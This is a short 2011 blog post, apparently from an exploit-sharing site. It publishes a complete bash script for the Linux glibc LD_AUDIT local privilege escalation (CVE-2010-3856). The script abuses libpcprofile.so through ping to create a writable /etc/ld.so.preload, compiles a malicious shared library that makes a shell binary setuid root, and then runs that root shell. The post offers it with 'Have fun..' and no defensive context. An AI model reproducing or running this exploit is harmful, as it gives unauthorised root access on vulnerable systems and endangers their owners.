Help pay for xds lawyer fees.
LR

Linux CVE-2010-3856 (Audit) – deadbyte version

Posted on 19th October 2011 in Codes, Exploits

Just thought it is worthy of posting…

#!/bin/bash
# CVE-2010-3856
# Author: deadbyte

OUTPUT=/etc/ld.so.preload

MASK=`umask`
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$OUTPUT" ping 2> /dev/null
if [ ! -f $OUTPUT ]; then
echo "System does not appear to be vuln"
exit 0
fi
echo -n > $OUTPUT
umask $MASK

cat > sh.c << EOF
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv, char **envp) {
char *args[] = { "/bin/bash", NULL };
setuid(geteuid());
setgid(getegid());
execve(args[0], args, envp);
perror("execve failed");
return 0;
}
EOF
gcc sh.c -o sh

cat > libpwn.c << EOF
#include <sys/stat.h>
#include <unistd.h>

uid_t getuid (void) {
chown("$PWD/sh", 0, 0);
chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
  return 0;
}
EOF
gcc -Wall -fPIC -c libpwn.c
gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o

echo "$PWD/libpwn.so" > $OUTPUT
ping 2> /dev/null
echo -n > $OUTPUT
./sh

Have fun..